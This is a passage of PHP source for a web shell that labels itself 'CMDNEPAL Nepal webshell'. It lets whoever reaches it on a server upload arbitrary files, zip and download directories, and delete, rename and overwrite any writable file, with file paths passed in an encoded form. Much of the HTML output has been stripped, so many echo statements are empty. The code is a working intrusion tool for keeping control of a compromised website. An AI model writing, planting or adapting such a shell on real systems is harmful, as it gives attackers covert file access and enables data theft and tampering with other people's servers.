open($archivePath, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($targetDir, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $fileInfo) {
$fullPath = $fileInfo->getRealPath();
$relativePath = substr($fullPath, strlen($targetDir) + 1);
if ($fileInfo->isDir()) {
$archive->addEmptyDir($relativePath);
} else {
$archive->addFile($fullPath, $relativePath);
}
}
$archive->close();
header('Content-Type: application/zip');
header("Content-Disposition: attachment; filename=$archiveName");
header("Content-Length: " . filesize($archivePath));
readfile($archivePath);
unlink($archivePath);
exit;
} else {
echo "";
}
}
// File upload handler
if (isset($_POST['upload_file']) && isset($_FILES['file_data']) && $_FILES['file_data']['error'] == 0) {
$uploadName = basename($_FILES['file_data']['name']);
$tempFile = $_FILES['file_data']['tmp_name'];
$targetPath = $workingPath . '/' . $uploadName;
if (move_uploaded_file($tempFile, $targetPath)) {
echo "";
} else {
echo "";
}
}
// File deletion handler
if (isset($_POST['remove_file']) && !empty($_POST['remove_file'])) {
$targetFile = decodeData($_POST['remove_file']);
$parentDir = dirname($targetFile);
if (file_exists($targetFile) && is_writable($targetFile) && unlink($targetFile)) {
echo "";
$workingPath = $parentDir;
} else {
echo "";
}
}
// File rename handler
if (isset($_POST['rename_file']) && !empty($_POST['rename_file'])) {
$originalPath = decodeData($_POST['rename_file']);
$parentDir = dirname($originalPath);
if (isset($_POST['new_name']) && !empty($_POST['new_name'])) {
$newBaseName = basename($_POST['new_name']);
$newFullPath = $parentDir . '/' . $newBaseName;
if (file_exists($originalPath) && !file_exists($newFullPath) && rename($originalPath, $newFullPath)) {
echo "";
$workingPath = $parentDir;
} else {
echo "";
}
} else {
// Display rename interface
echo "
";
exit;
}
}
// File editor interface
if (isset($_POST['edit_file']) && !empty($_POST['edit_file'])) {
$editTarget = decodeData($_POST['edit_file']);
$parentDir = dirname($editTarget);
if (file_exists($editTarget) && is_writable($editTarget)) {
echo ""
. ""
. "
← Return "
. "
";
} else {
echo "";
}
exit;
}
// Save file changes
if (isset($_POST['save_changes']) && isset($_POST['target_file']) && isset($_POST['file_content'])) {
$saveTarget = decodeData($_POST['target_file']);
$parentDir = dirname($saveTarget);
if (file_exists($saveTarget) && is_writable($saveTarget)) {
file_put_contents($saveTarget, $_POST['file_content']);
echo "";
$workingPath = $parentDir;
} else {
echo "";
}
}
?>
CMDNEPAL Nepal webshell
Upload File
Name Size Modified Actions
🔙 Parent Directory ";
continue;
}
$fullItemPath = $workingPath . '/' . $item;
$isDirectory = is_dir($fullItemPath);
$itemSize = $isDirectory ? '-' : filesize($fullItemPath);
$lastModified = date('Y-m-d H:i:s', filemtime($fullItemPath));
$fileList[] = ['name'=>$item, 'path'=>$fullItemPath, 'is_dir'=>$isDirectory, 'size'=>$itemSize, 'modified'=>$lastModified];
}
closedir($dirHandle);
// Sort directories first, then files
usort($fileList, function($a, $b) {
if ($a['is_dir'] == $b['is_dir']) return strcasecmp($a['name'], $b['name']);
return $a['is_dir'] ? -1 : 1;
});
foreach ($fileList as $fileInfo) {
$displayName = htmlspecialchars($fileInfo['name']);
$encodedPath = htmlspecialchars($fileInfo['path']);
if ($fileInfo['is_dir']) {
echo "📁 $displayName - {$fileInfo['modified']} ";
} else {
$sizeDisplay = ($fileInfo['size'] > 1024 * 1024)
? round($fileInfo['size'] / (1024*1024), 2) . " MB"
: (($fileInfo['size'] > 1024) ? round($fileInfo['size'] / 1024, 2) . " KB" : $fileInfo['size'] . " B");
$downloadFile = basename($encodedPath);
echo "$displayName $sizeDisplay {$fileInfo['modified']} "
. ""
. "Edit "
. "Rename "
. "Delete "
. " ";
}
}
} else {
echo "Unable to access directory or insufficient permissions. ";
}
?>